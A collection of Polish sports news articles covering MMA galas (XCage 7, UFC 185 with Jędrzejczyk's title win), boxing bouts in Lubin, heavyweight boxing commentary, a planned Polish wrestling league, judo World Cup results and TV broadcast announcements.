Zapasy posuwają się w kolejce – trzeba tylko zwrócić wzrok ku podjętym działaniom. Czy impreza w Wałbrzychu przykuje uwagę opinii publicznej? Nic nie działa tak jak sukces, więc medal zdobyty podczas mistrzostw Europy U-23 będzie miał wyjątkowy wymiar. Od tego należy zacząć. W poprzednim roku Damian Janikowski zdobył brązowy medal mistrzostw Europy, jednak ta zdobycz przeszła bez większego echa. Teraz pojawia się idea ligi zapaśniczej, lada dzień odbędą się ME U-23. Polski Związek Zapaśniczy podjął działania, ale musi trafić do szerszej świadomości i rozkręcić maszynę zainteresowania.

KM

XCage 7: „Trybson” wykonał zadanie

Gala XCage 7 w Toruniu spełniła oczekiwania organizatorów, a  dla kibiców była atrakcyjnym widowiskiem. Ze swojej roli wywiązał się Paweł Trybała, który przede wszystkim pełnił rolę promocyjną, ale nie zawiódł na poziomie sportowym.

Toruńska gala była okazją do powrotu do świata MMA zawodnika, który w przeszłości występował w KSW. Maciej Górski nie zaliczył udanego występu. Popularny „Highlander” w drugiej rundzie przegrał z Sebastianem Romanowskim, który nie dał rywalowi szans okładając go mocnymi ciosami w parterze. Kolejny dobry występ na swoim koncie zapisał Hracho Darpinyan. Ormianin na punkty wygrał z Mateuszem Ostrowskim.

Walką wieczoru było starcie Adriana Zielińskiego z Victorem Tomaseviciem w wadze 73 kg. Litwin w ostatniej chwili zastąpił kontuzjowanego Rustana Khasamova. Dla Zielińskiego było to wyzwanie o szczególnym znaczeniu, gdyż w 2012 roku Polak przegrał rywalizację z „Bandito”. W Toruniu powziął sobie za główny cel rewanż za tamtą porażkę i zrealizował swój plan. Polski fighter już w pierwszej rundzie zakończył pojedynek. Dopadł rywala w parterze i okładał go ciosami, Litwin  był bezradny.

Wszyscy zwracali oczy w kierunku Pawła Trybały. Popularny „Trybson” zmierzył się z Łukaszem Stojanowskim w wadze 93 kg. Głównym założeniem marketingowym organizatorów było wzbudzenie zainteresowania szerszej publiczności galą przez osobę Trybały. „Trybson” przyciągnął uwagę, jednak zastanawiano się, czy będzie wyglądał podczas walki jak celebryta, czy raczej sportowiec. Okazało się, że Trybała poważnie podszedł do swojego zadania. Podczas walki pokazał się z dobrej strony, zaliczył udany debiut w MMA. Pierwsza runda pokazała, że w tym pojedynku „Trybson” będzie rozdawał karty. Kolejna odsłona potwierdziła przewagę Trybały, który trafił Stojanowskiego w stójce, a następnie dopadł go w parterze i dokończył dzieła.

Organizatorzy nie mogą narzekać, gdyż gala spełniła ich oczekiwania. O marce XCage dowiedziało się większe audytorium. Ponadto, okazało się, że „Trybson” ma „smykałkę” do MMA. Oprócz wartości marketingowej tkwi w nim potencjał sportowy, nad którym rzecz jasna musi pracować. Występ Adriana Zielińskiego w walce wieczoru zakończył się zwycięstwem Polaka, jednak zabrakło w nim efektownych akcji. – Walka Zielińskiego w sumie najmniej porywająca, ale to może bardziej za sprawą przeciwnika, który cały czas dążył do parteru. Postawa „Trybsona” w klatce znakomita i pod kątem promocji udało się zrobić kawał dobrej roboty – powiedział FighTime.pl Paweł Skórzewski z XCage.

Organizacja snuje kolejne plany, jednak co do dalszych poczynań nie uchyla rąbka tajemnicy. Gala w Toruniu spełniła oczekiwania. Organizatorzy są zadowoleni, gdyż w porównaniu z poprzednim wydarzeniem przybyło widzów. –  Jesteśmy bardzo zadowoleni z gali. Poziom sportowy był na najwyższym poziomie. Na halę przybyło ok. 3 400 kibiców, co jest bardzo dobrym wynikiem, ponieważ na poprzedniej gali było ok. 1 500 kibiców. Czekamy jeszcze na wyniki oglądalności w telewizji –  mówił Skórzewski.

KM

Wilder lepszy niż Kliczko

Deontay Wilder stał się dla Amerykanów nowym idolem. Pięściarz, który po ośmiu latach w końcu zdobył pas mistrzowski w wadze ciężkiej dla USA. Posiadacz pasa WBC nie zamierza stać w miejscu – chce wygrać z  Władimirem Kliczko.

Niepokonany na zawodowym ringu Wilder mistrzostwo świata zdobył pokonując na punkty Bermane Stiverna. Amerykanin z miejsca stał się czołową postacią wagi ciężkiej. Wcześniej jego umiejętności poddawano wątpliwościom, jednak zdobyciem mistrzowskiego pasa zamknął usta krytykom. Teraz czas, aby potwierdził swoją wysoką formę i stanął w obronie tytułu. Sam Wilder nie zamierza zatrzymywać się na jednym pasie. Amerykanin chce przeprowadzić atak na Władimira Kliczko. Pierwszym krokiem było słowne uderzenie w ukraińskiego mistrza.

Wilder jest pewny siebie i podkreśla swoją wyższość nad czempionem IBF/IBO/WBO/WBA. – Jestem facetem, który jest w stanie pokonać Kliczkę. Jestem pięściarzem, który wygra z nim. Prezentuję się coraz lepiej i tak będzie nadal. Kliczko jest już stary i nie zmieni nic w swojej postawie w ringu. . Obecnie jestem dziesięciokrotnie lepszy niż wtedy, kiedy sparowałem z Władimirem –powiedział Amerykanin. Wiara we własne umiejętności jest cenna i Wilder potwierdził to w pojedynku ze Stivernem. Zewsząd słyszał głosy, że jest słabszy i nie zasługuje na tytuł, a mimo to poradził sobie z pewnym obciążeniem psychicznym. Dla pięściarza to istotna umiejętność w kontekście utrzymywania pozycji na szczycie hierarchii. W swojej wypowiedzi Wilder zarysował obraz ukraińskiego mistrza, który powinien powoli myśleć o zakończeniu kariery. Wiadomo, że Kliczko osiągnął wiele w wadze ciężkiej, jednak nadal jest mistrzem i nikt nie jest w stanie mu zagrozić. Wielu próbowało, wielu głośno zapowiadało wygraną z Ukraińcem, a jednak nikomu ta sztuka nie udała się. Dlaczego Wilder miałby wygrać z wielkim czempionem?

Amerykanin chciałby przejąć dorobek Ukraińca, jednak ze swoimi planami musi się wstrzymać. Kliczko czeka na walkę z Bryantem Jenningsem, która już 25 kwietnia w Madison Square Garden. Ukraiński mistrz stanie naprzeciw niepokonanego Amerykanina, mające na uwadze przejęcie mistrzowskich pasów. Zapowiedzi jest wiele, każdy mówi niemal to samo, a nikt  nie może. Niby Kliczko coraz starszy, coraz mniej zwrotny, a w ringu kontroluje pojedynek i spokojnie wygrywa. Czy rywale nie wytrzymują psychicznie rywalizacji z Ukraińcem? Być może tu należy szukać rozwiązania niezagrożonej pozycji wielkiego mistrza.

Teraz Jennings, a potem Wilder? W kolejce jest jeszcze Tyson Fury, który słynie z ciętego języka i posiadania wielu fantazji. Anglik wielokrotnie podkreślał, że rozprawi się zarówno z Kliczko jak i z Wilderem. Wypowiedzi wszystkich potencjalnych rywali Ukraińca można sprowadzić do jednego mianownika. Próba głośnego afirmowania swojego potencjału. A Kliczko jest spokojny – wyraża szacunek dla kolejnych rywali i wychodzi na swoje.

KM

Jędrzejczyk najlepsza na świecie!

Zawodniczka Arrachionu Olsztyn spełniła swoje marzenia i zdobyła mistrzowski pas UFC w kategorii słomkowej. Joanna Jędrzejczyk weszła na szczyt MMA, dokonała czegoś wielkiego, trudno mierzalnego.

Bez wątpienia jest to ogromne wydarzenie w polskich mieszanych sztukach walki, które należy uznać za największych triumf odniesiony przez polskich fighterów. Zwycięstwo Jędrzejczyk otwiera nowy rozdział w sportach walki i zarazem pokazuje, że wytrwałość i ciężka praca prowadzą do sukcesu. Zdobycie mistrzowskiego pasa przez zawodniczkę z Olsztyna jest największym dokonaniem w historii polskiego MMA.

Przed pojedynkiem z Carlą Esparzą nie była uznawana za faworytkę. Amerykance, która w swoich rękach dzierżyła mistrzowski pas wagi słomkowej (52 kg) przyznawano większe szanse na zwycięstwo. Ponadto, Esparza miała za sobą udane występy w organizacji Invicta FC i już podczas debiutu w UFC sięgnęła po mistrzostwo. Jednakże Jędrzejczyk nie przestraszyła się faworyzowanej rywalki. Na każdym kroku podkreślała, że jej celem jest zdobycie mistrzowskiego pasa. W naszej reprezentantce może imponować pewność siebie, która poparta jest twardymi argumentami. Jędrzejczyk szybko osiągnęła sukces – tak wydaje się na pierwszy rzut oka. Po ośmiu miesiącach rywalizacji w UFC i trzeciej walce dla organizacji została mistrzynią. Warto zwrócić uwagę na drogę Polki do sukcesu. Nie narodził on się na przestrzeni tych ośmiu miesięcy, lecz był poprzedzony latami ciężkiej pracy. Kariera w kickboxingu, późniejsza rywalizacja w MMA w Polsce i poza granicami kraju przyniosła owoce. Fakt, że Jędrzejczyk wypłynęła na szeroką wodę jest zasługą jej charakteru. Poświęciła się ciężkim treningom i doskonaleniu własnych umiejętności. Pierwsza walka w UFC z Carneiro wyglądała inaczej niż dwie kolejne. Widać, że Jędrzejczyk pracowała nad parterem i podniosła poziom umiejętności, choć nadal jej najmocniejszą bronią jest stójka, a teraz bardzo dobrze wygląda na płaszczyźnie bokserskiej. Oddać jej należy, że pewność siebie, którą prezentuje jest ogromną wartość. To jest droga, którą należy podążać do sukcesu i Jędrzejczyk to udowodniła.

Esparza pokonana

Pojedynek w Dallas lepiej rozpoczęła Amerykanka. Esparza zaatakowała Polkę, była stroną aktywniejszą i dążyła do obalenia, gdyż znana jest z technik duszenia. Jednakże Jędrzejczyk mocno trzymała się na nogach i nie dopuściła do sytuacji, w której mistrzyni mogłaby wykorzystać swoją najmocniejszą broń. Pod koniec pierwszej rundy Polka serią ciosów bokserskich pokazała rywalce, że musi mieć się na baczności. To było ostrzeżenie, które w drugiej odsłonie przeszło w fazę rozstrzygającą. Jędrzejczyk zyskiwała przewagę. W pewnym momencie Esparza była bezradna i przyjmowała kolejne ciosy. Sędzia przytomnie, widząc nieporadność Amerykanki, przerwał walkę.

""

Joanną Jędrzejczyk wygrała w drugiej rundzie i mogła przymierzyć mistrzowski pas, o który z całych sił zabiegała. Po ośmiu miesiącach od debiutu w UFC Polka została najlepszą zawodniczką kategorii słomkowej. Dodatkową nagrodą dla Jędrzejczyk był bonus w postaci 50 tysięcy dolarów.

Dos Anjos lepszy od Pettisa

Głównym wydarzeniem wieczoru podczas gali UFC 185 był pojedynek w wadze lekkiej pomiędzy Rafaelem dos Anjosem, a Anthony’m Pettisem o mistrzowski pas. W regulaminowym czasie zawodnicy nie rozstrzygnęli pojedynku. Przeważał Dos Anjos, czego odzwierciedleniem były oceny sędziów – 3x 50-45.

Swój pojedynek wygrał Allistair Overeem, który na punkty pokonał Roya Nelsona. Henry Cejudo odniósł ósme zawodowe zwycięstwo. Amerykanin na punkty pokonał Chrisa Cariaso. Bonusy otrzymali: Rafael dos Anjos, Ross Pearson oraz Beneil Dariush.

Walka wieczoru o pas wagi lekkiej: Dos Anjos – Pettis – na punkty wygrał Dos Anjos
Walka o pas w wadze słomowej: Jędrzejczyk – Esparza – Polka wygrała przez TKO w drugiej rundzie
170Ibs: Hendricks pokonał Browna – na punkty
265Ibs: Overeem pokonał Nelsona – na punkty
125Ibs: Cejudo pokonał Cariaso – na punkty

Karta wstępna
155Ibs: Pearson pokonał Stouta – przez KO
185Ibs: Theodorou pokonał Narvaeza – przez TKO
155Ibs: Dariush pokonał Cruickshanka – przez poddanie (duszenie zza pleców)
265Ibs: Rosholt pokonał Copelanda – przez TKO

KM

Brodnicka i Wach zrobili swoje

Na gali w Lubinie kolejne zwycięstwa odnieśli Ewa Brodnicka i Mariusz Wach. Pojedynki nie znalazły rozstrzygnięcia przed czasem, jednak sędziowie nie mieli wątpliwości, komu należy się wygrana.

Ewa Brodnicka stanęła przed trudnym wyzwaniem, gdyż Gina Chamie w swojej karierze dwukrotnie walczyła o mistrzowskie pasy. Co prawda Węgierka przegrała pojedynki o stawkę, jednak pozostawiła po sobie dobre wrażenie. Solidna, twarda i głodna sukcesu Węgierka była kolejnym wyzwaniem w karierze Brodnickiej, która mierzy w mistrzowski pas. Polka była wyższa i cięższa, co w pewnym stopniu dawało jej przewagę. Brodnicka od początku przejęła kontrolę nad pojedynkiem, nie pozwalając rywalce na wykorzystanie potencjału. Chamie przyjmowała ciosy Polki, która z każdą rundą zaznaczała swoją przewagę. Jednakże Węgierka nie dała się znokautować, ale oceny mówią same za siebie – 80-72, 79-73, 80-72. Dzięki wygranej zawodniczka Tymex Boxing Promotions sięgnęła po tytuł międzynarodowej mistrzyni Polski wagi super lekkiej.

Teraz na Brodnicką czekają kolejne wyzwania. Bokserka podkreśla, że w tym roku chciałby walczyć o mistrzostwo świata. Pojedynek z Chamie z pewnością uwydatnił potencjał Brodnickiej i pokazał, że jest gotowa do podjęcia kolejnych kroków w realizacji zamierzeń. Czy Polka będzie kontynuowała występy w Polsce? Być może droga do mistrzostwa będzie prowadziła przez Argentynę. Wszystko w rękach promotora Mariusza Grabowskiego i sztabu Brodnickiej, który powinien podjąć wszelkie starania w celu dalszego rozwoju bokserki.

Trzecia wygrana po powrocie

Trudno powiedzieć, żeby Mariusz Wach stanął w Lubinie przed wyzwaniem. Gbenga Oluokun był rywalem, którego „Wiking” musiał pokonać i zrobił to. Wach wygrał na punkty, jednak Nigeryjczyk okazał się niewygodnym przeciwnikiem. Choć Polak kontrolował rywalizację i od początku zaznaczał wyraźnie swoją przewagę to Oluokun w końcowej fazie starcia zagroził „Wikingowi”.

Nigeryjczyk wytrzymał pojedynek kondycyjnie i nie przestraszył się Wacha. Oluokun odpowiadał naciosy Wacha, które były precyzyjne, jednak brakowało w nich elementu szybkości i zaskoczenia. Przeciwnik Polaka twarda trzymał się na nogach i starał się kontratakować. O wyniku pojedynku musieli rozstrzygnąć sędziowie, których karty jednogłośnie przedstawiły zwycięstwo Wacha: 80-72, 79-73, 80-72.

Tym samym Polak odniósł trzydzieste zwycięstwo na zawodowym ringu, a trzecie po powrocie po absencji spowodowanej zawieszeniem za stosowanie niedozwolonych środków. Wach pokonał Kurtagicia, Walkera i teraz zwyciężył z Oluokunem. Czas adaptacji i roztrenowania powinien zakończyć się. Aby wrócić na szczyt „Wiking” musi rywalizować na poważnie i z coraz mocniejszymi przeciwnikami. Jednak pojedynek z Oluokunem uwydatnił, że Wachowi brakuje jeszcze dokładności i siły, która pozwoliłaby mu wygrywać przed czasem. Zawodnik koniecznie musi poprawić kondycję, gdyż ktoś szybszy niż Nigeryjczyk mógłby poważnie zagrozić Polakowi.

Dziesiątka Gerleckiego

Galę w Lubinie otworzyło starcie Roberta Milewicza z Gordanem Glisiciem. Na punkty wygrał Polak. W innym pojedynku Michał Leśniak nie dał szans Lukasowi Leskoviciowi.

Damian Wrzesiński już w pierwszej rundzie z bliska przyjrzał się deskom na ringu w Lubinie. Po mocnym lewym sierpowym Chacygowa Polak padł, ale wstał i kontynuował pojedynek. W trzeciej rundzie Wrzesiński wziął rewanż na rywalu, który nie był w stanie walczyć dalej. Farouk Daku padł ofiarą Roberta Parzęczewskiego. Polak pewnie wygrał na punkty.

W kategorii półciężkiej kolejny pojedynek stoczył Michał Gerlecki. Polak stanął przed trudnym wyzwaniem, gdyż przyszło mu się mierzyć z Stjepanem Boziciem – byłym pretendentem do tytułu mistrza świata WBA. Gerlecki szybko przystąpił do działań, co dało efekt. W czwartej rundzie Polak wygrał przez techniczny nokaut. Tym samym Gerlecki odniósł dziesiąte zwycięstwo na zawodowym ringu.

KM

Wzrośnie popularność zapasów?

Zapasy w swej istocie leżą u podstaw sportu, były jedną z pierwszych dyscyplin. Rodziły wielkich wojowników, którzy dostępowali najwyższych zaszczytów. Z czasem zapasy stawały się coraz mniej atrakcyjne i usytuowały się gdzieś z boku.

Doszło nawet do dyskusji na temat wycofania dyscypliny z programu igrzysk olimpijskich. Doskonale pamiętamy wystąpienie Andrzeja Suprona, który z tego powodu oddał swój medal na znak protestu. Fala protestów rozszerzała się. Medal olimpijski postanowił również zwrócić mistrz z Atlanty Walentyn Jordanow, a wybitny zapaśnik Armen Nazarjan głodował. Taki klimat panował wokół zapasów dwa lata temu. W Polsce zapasy cieszą się coraz mniejszą popularnością. Wiele klubów ma problemy finansowe, nie mają wsparcia w jednostkach samorządu terytorialnego. Zapasy nie są medialne, medal Damiana Janikowskiego był krótkotrwałym efektem, który przyniósł większą popularność zawodnikowi niż dyscyplinie. Jednak sytuacja może ulec zmianie.

Pojawiła się idea stworzenia zawodowej ligi zapaśniczej, co ma nastąpić po najbliższych Igrzyskach Olimpijskich w Rio de Janeiro. Warto podkreślić, iż pomysł ten jest innowacyjny. Zakłada bowiem, że w drużynach startować będą mogli zawodnicy stylu klasycznego oraz wolnego, a także kobiety. W tym celu zostały już podpisane stosowne dokumenty. Umowy zostały zawarte przez prezesów: Polskiego Związku Zapaśniczego Grzegorz Pieronkiewicz i Krajowej Ligi Zapaśniczej Damian Fedorowicz. Dzięki temu w Polsce powstanie zawodowa liga zapaśnicza, w której startować będzie mogło po trzech zawodników w stylu wolnym i klasycznym oraz trzy zawodniczki w kategoriach olimpijskich.

Takie połączenie jest niezwykle emocjonujące i różnicuje rywalizację. Idea ligi zapaśniczej z pewnością wzmocni wizerunek zapasów i spowoduje popularyzację dyscypliny. Na płaszczyźnie sportowej pozwoli na wzmocnienie rywalizacji. Do Polski będą przyjeżdżać zagraniczni zawodnicy, co z pewnością podniesie poziom naszych zapasów i będzie znakomitą okazję do rozwoju dla młodych adeptów. Powstanie ligi pozwoli również przyciągnąć do zapasów najmłodszych. Będzie to znakomita okazja do rozwoju dyscypliny i popularyzacji na poziomach lokalnych. Do tego dochodzi promocja w telewizji. Trwają rozmowy na temat transmisji z rozgrywek, zainteresowanie wyraziły trzy stacje.

W lidze będzie mogło wystartować maksymalnie szesnaście drużyn. Pomysł stworzenia rozgrywek jest dobrą formą podtrzymania formy dla zawodników w przypadku braku startów, a także rozwoju sportowego oraz popularyzacji zapasów. Na obecnym etapie akces do uczestnictwa w zmaganiach zgłosiło osiem ekip: Śląsk Wrocław, Agros Żary, Zagłębie Wałbrzych, AKS Białogard, Unia Racibórz, Olimpijczyk Radom, AKS Piotrków Trybunalski oraz razem dwie poznańskie drużyny Grunwald i Sobieski. Inauguracja planowana jest po igrzyskach olimpijskich w Rio de Janeiro. Strony podejmujące projekt mają więc półtora roku na przygotowanie fundamentów pod realizację sportowych zmagań. Idea jest godna uwagi. Powstanie ligi z pewnością miałoby pozytywny wpływ na rozwój polskich zapasów i  byłoby istotnym krokiem na drodze profesjonalizacji oraz popularyzacji dyscypliny.

KM

 

Kolejne podium Furmanek

Podczas zawodów Pucharu Świata w Casablance Katarzyna Furmanek (+ 78 kg) zaliczyła występ na wagę medalu. Polska judoczka wywalczyła drugie miejsce.

Na początku warto wspomnieć, że zawody w Casablance zaliczane są do kwalifikacji olimpijskich. Drugie miejsce w Pucharze Świata to kolejne ważne punkty w rozgrywce o wyjazd na Igrzyska do Rio de Janeiro. W Casablance wygrała dwie walki, a do pełni szczęścia Polce zabrakło tylko zwycięstwa w finale. Furmanek przez ippon pokonała kolejno: Jodie Myers i Aleksandrę Babincewą. Porażka w finale była niefortunna, gdyż nasza zawodniczka przegrała tylko jedną karą shido. W decydującym pojedynku Furmanek zmierzyła się z Włoszką Elisą Marchio. Polka zebrała trzy kary shido, jej rywalka dwie.

Katarzyna Furmanek notuje kolejny dobry start w tym sezonie. Dwie tygodnie temu judoczka triumfowała podczas zawodów Pucharu Świata w Czechach. Warto podkreślić, że Furmanek startuje w nowej dla siebie kategorii wagowej – +78 kg. Wcześniej startowała w 78 kg. Widać, że zmiana wyszła Polce na dobre, gdyż z każdym kolejnym występem radzi sobie coraz lepiej. Triumf w Pradze i drugie miejsce w Casablance są dobrym prognostykiem przed mistrzostwami Europy i świata.

W Casablance z dobrej strony pokazała się Karolina Tałach (63 kg). Polka zawody zaczęła od rywalizacji z reprezentantką Egiptu – Shorok Shoer. Tałach wygrała przez waza-ari. Zdecydowanie w Casablance naszej zawodniczce nie leżały rywalki z Francji. W ćwierćfinale przegrała z Anne – Laure Bellard, jednak w tej walce niewiele zabrakło do szczęścia. Polka przegrała jedną karą shido. W walce repasażowej Tałach zwyciężyła przez yuko Helene Wezeu Dombeu. Walka o brązowy medal nie potoczyła się po myśli naszej judoczki, która ponownie trafiła na rywalkę z Francji. Marielle Pruvost pokonała Tałach przez ippon. Tym samym reprezentantka Polski uplasowała się na piątej pozycji. W porównaniu z poprzednim startem w Pradze Tałach zaliczyła lepszy występ. Podczas zawodów w Czechach judoczka zajęła siódmą lokatę. Nieudane występy zaliczyły Magdalena Miller (57 kg) oraz Dominika Błach (63 kg), które odpadły już w eliminacjach.

W Hiszpanii odbył się Puchar Europy kadetów, w którym nasi reprezentanci zdobyli cztery krążki. Po srebrne medale zdobyli Barbara Kulik (63 kg) i Maciej Krogulski (73 kg), na trzecim stopniu podium stanęli Vanessa Machnicka (52 kg) i Iwo Baraniewski (81 kg).

Katarzyna Furmanek w Casablance potwierdziła, że triumf w Pradze nie był przypadkiem. Polka gromadzi cenne punkty w wyścigu po bilet do Rio de Janeiro. Żeńska reprezentacja Polski w judo prezentuje się bardzo dobrze i możemy liczyć na medal w drużynie z najważniejszych imprez w tym sezonie.

 

KM

Czy Brodnicka wygra z głodem?

Ewa Brodnicka staje przed kolejnym wyzwaniem. 14 marca na gali Tymex Boxing Promotion oraz Global Boxing w Lubinie posiadaczka interkontynentalnego mistrzostwa świata WBF zmierzy się z Giną Chamie.

Brodnicka na zawodowym ringu nie zaznała goryczy porażki i nie ma zamiaru poznawać tego smaku. W ostatnim pojedynku Polka rozprawiła się z doświadczoną Bułgarką Galiną Gumliiską. Sędziowie nie mieli wątpliwości i jednogłośnie przyznali zwycięstwo Brodnickiej, która w ubiegłym roku wywalczyła interkontynentalne mistrzostwo świata WBF w wadze super lekkiej. W Lubinie Polka zmierzy się z Giną Chamie. Brodnicka intensywnie przygotowywała się do rywalizacji pod okiem trenera Krzysztofa Drzazgowskiego. Podczas treningów sparowała z Anną Słowik, a także z bokserami. Brodnicka przepracowała okres przygotowań intensywnie na każdej płaszczyźnie – siłowej, wytrzymałościowej oraz taktycznej. W pojedynku z Chamie Polka będzie faworytką.

Najbliższa rywalka Polki jest głodna sukcesu. Czy Chamie zaspokoi swoje pragnienia w pojedynku z Brodnicką? 24-latka staje do rywalizacji z niepokonaną Polką, ale z pewnością nie zrobi to na niej wrażenia. Brodnicka jest wytrzymałą, silną, a przede wszystkim utalentowaną bokserką i musi potwierdzić to w ringu. Chamie mimo młodego wieku ma już bogate doświadczenie. Węgierka dwukrotnie walczyła o mistrzowskie pasy, jednak w obu przypadkach przegrała. Z Nicole Wesner rywalizowała o wakujący tytuł międzynarodowej mistrzyni świata WBF i w trzeciej rundzie została znokautowana. To był ostatni pojedynek Chamie, która walczyła również o pas WBO z Ramoną Kuehne. Prezentowała się dobrze i toczyła wyrównany bój, jednak z powodu kontuzji w szóstej rundzie rywalizacja dobiegła końca. Chamie legitymuje się bilansem jedenastu zwycięstw i dwóch porażek. Można wnioskować, że Węgierka nie wytrzymuje psychicznie pojedynków o stawkę, choć warto podkreślić wartość przeciwniczek, z którymi mierzyła się w rywalizacji o mistrzowskie pasy.

Czym Chamie może zaskoczyć Brodnicką? Młoda zawodniczka dobrze trzyma się na nogach i nie unika walki. Chamie potrafi płynie przejść z defensywy do ataku. Do tej pory wygrała pięć pojedynków przez nokaut. Z pewnością Brodnicka będzie uważna i postara się od początku kontrolować przebieg walki. Polka powinna narzucić własne warunki, gdyż Chamie może wykorzystac każdy moment zawahania. Mimo młodego wieku boksowała już o najwyższe cele i stoczyła więcej pojedynków na zawodowym ringu niż Brodnicka. Starcie pań zapowiada się ciekawie. W ringu spotkają się zawodniczki z potencjałem, które będą chciały wygrać i otworzyć sobie kolejne drogi zawodowej kariery. Brodnicka chce w tym roku walczyć o mistrzostwo świata, wygrana z Chamie z pewnością przybliżyłaby Polkę do realizacji tego celu. Rywalizacja z Węgierką ma być pierwszym krokiem do nasycenia się.

W Lubinie trzeci pojedynek po powrocie na ring stoczy Mariusz Wach. „Viking” zmierzy się z Gbengą Oluokunem, który zapomniał, czy jest wygrana. Wach powinien bez problemu dopisać kolejne zwycięstwo do swojego bilansu. Na gali w Lubinie zaprezentują się również Damian Wrzesiński, Michał Gerlecki, Michał Leśniak, Robert Parzęczewski.

KM

Jędrzejczyk idzie na wojnę

Polską zawodniczkę interesuje tylko jedno – mistrzowski pas. 14 marca podczas gali UFC 185 w Dallas Joanna Jędrzejczyk zmierzy się z Carlą Esparzą w pojedynku, którego stawką będzie mistrzostwo wagi słomkowej.

Polka musi zrobić tylko jeden krok, aby wejść na szczyt. Tak niewiele dzieli ją od spełnienia marzeń i ogromnego szczęścia. Jędrzejczyk jest blisko, ale musi być gotowa na wojnę. Carla Esparza tanio skóry nie sprzeda i zrobi wszystko, aby pozostać mistrzynią. Plany Jędrzejczyk są nieco inne, Polka chce odebrać tytuł rywalce. Czy w takim wypadku możliwy jest kompromis? Brzmi to dość śmiesznie. Kompromis w walce? Gdzie tam! Nie będzie żadnych pertraktacji, oktagon wszystko rozstrzygnie. Któraś ze stron będzie musiała ustąpić i przyjąć rację drugiej. Jak to będzie wyglądało?

Joanna Jędrzejczyk uwiodła UFC, szybko dotarła na salony. Pierwszą walkę dla najlepszej organizacji mieszanych sztuk walki na świecie stoczyła w lipcu ubiegłego roku. Polka na punkty pokonała Julianę de Lima Carneiro. Drugi występ Jędrzejczyk w UFC był niezwykle efektywny, emocjonujący i rozbudził apetyty na kolejne występy naszej zawodniczki. Choć nie obyło się bez wątpliwości. Sędziowie uznali, że Jędrzejczyk była lepsza, Claudia Gadelha musiała pogodzić się z porażką, choć uznawała ją za niesłuszną. Polka zaprezentowała w rywalizacji z Brazylijką charakter i ambicję, które pomogły przetrwać jej trudne chwile. Jędrzejczyk pokazała się światu w 2013 roku, kiedy to w Moskwie wygrała z Julią Berezikovą. Był to pierwszy sygnał, że w kobiecym MMA pojawia się ciekawa postać. W czerwcu 2014 roku podczas gali CWFC Super Saturady przez nokaut pokonała Rosi Sexton, a miesiąc później podpisała kontrakt z UFC. Kariera Jędrzejczyk rozwija się błyskawicznie, a Polka staje obecnie przed życiową szansą.

Jeden warunek – wygrana z Esparzą. Można zachwalać Jędrzejczyk i wspierać ją w drodze do sukcesu, ale należy uświadomić sobie, że zwycięstwo nie przyjdzie łatwo. Esparza to zawodniczka wysokich lotów. De facto – ma mniejsze doświadczenie niż Jędrzejczyk w UFC. Esparza stoczyła zaledwie jeden pojedynek, ale już jest mistrzynią wagi słomkowej. 27-latka w debiucie w UFC pokonała przez duszenie Rosę Namajunas. Z powodzeniem radziła sobie podczas występów w organizacji Invicta FC, gdzie była mistrzynią w kategorii do 52 kg. Amerykanka poniosła w swojej karierze dwie porażki, ale są to odległe czasy. Ostatni pojedynek Esparza przegrała w czerwcu 2011 roku z Jessicą Aguilar. Jędrzejczyk wtedy koncentrowała się jeszcze na kickboxingu. Esparza jest fenomenalna na płaszczyźnie zapaśniczej i tu będzie upatrywała recepty na sukces. Jędrzejczyk dominuje w stójce, jednak intensywne treningi wyraźnie poprawiły jej umiejętności w parterze. Mimo wszystko Polka musi być uważna „na plecach”.

Jędrzejczyk jest zmotywowana i celuje w zdobycie mistrzowskiego pasa. Stara zasada: Polka może, Esparza musi. Jędrzejczyk jest w uprzywilejowanej pozycji – trudniej jest obronić niż zdobyć. Jedna i druga wykonały duży postęp, z miejsca stały się czołowymi postaciami kobiecego UFC. Joanna Jędrzejczyk staje przed ogromną szansą na zapisanie się w historii polskiego MMA. Polka zdecydowała się kontynuować swoją karierą poza granicami kraju i dość szybko może stać się mistrzynią najlepszej organizacji mieszanych sztuk walki na świecie. Czy w Dallas spełni swoje marzenia? Wystarczy, że uczyni krok.

KM

Pro Kabaddi – po raz pierwszy w Polsce

Pro Kabaddi – po raz pierwszy w Polsce!

Kabaddi to niezwykle popularna w Indiach, Pakistanie i Bangladeszu gra zespołowa, znana od blisko czterech tysięcy lat. W pierwszym z tych państw – uznawanym za kolebkę tego sportu – w ubiegłym roku zorganizowano pierwsze sformalizowane mistrzostwa kraju. W trwającym niewiele ponad miesiąc turnieju udział wzięło osiem drużyn, które rozegrały łącznie 56 meczów w sezonie regularnym i cztery w play-off – dwa półfinały, finał i mecz o trzecie miejsce. W FightKlubie pokażemy najciekawsze spotkania całego sezonu. Pro Kabaddi po raz pierwszy polscy widzowie zobacząwsobotę 14 marca o godzinie 22:00.

[kod]

Źródło: materiały prasowe

Michele Focosi kontra Bence Molnar w starciu o pas IBF basenu Morza Śródziemnego.

Wiele emocji czeka widzów boksuZapraszamy w piątek na 21:00 na kolejną galę bokserską na żywo z Półwyspu Apenińskiego. Tym razem w nadmorskiej Falconara Marittima zobaczymy starcie o tytuł IBF basenu Morza Śródziemnego w kategorii lekkiej. Zaledwie 19-letni, choć mający na koncie już piętnaście zawodowych walk, pochodzący z Węgier Bence Monar skrzyżuje pięści ze starszym od niego o trzynaście lat Michelem Focosim. Dla młodziutkiego Węgra to już druga w karierze walka o tytuł. W listopadzie ubiegłego roku zmierzył się on w Finlandii z Tuomo Eronenem o pas Baltic Boxing Union i wyraźnie przegrał na punkty jednogłośną decyzją sędziów. Miesiąc później zrehabilitował się jednak zwyciężając z Tamasem Vozarem. Czy i tym razem będzie schodził z ringu z podniesioną głową? Dowiemy się już w najbliższy piątek o 21:00.

Źródło: materiały prasowe

Maciej Sulęcki

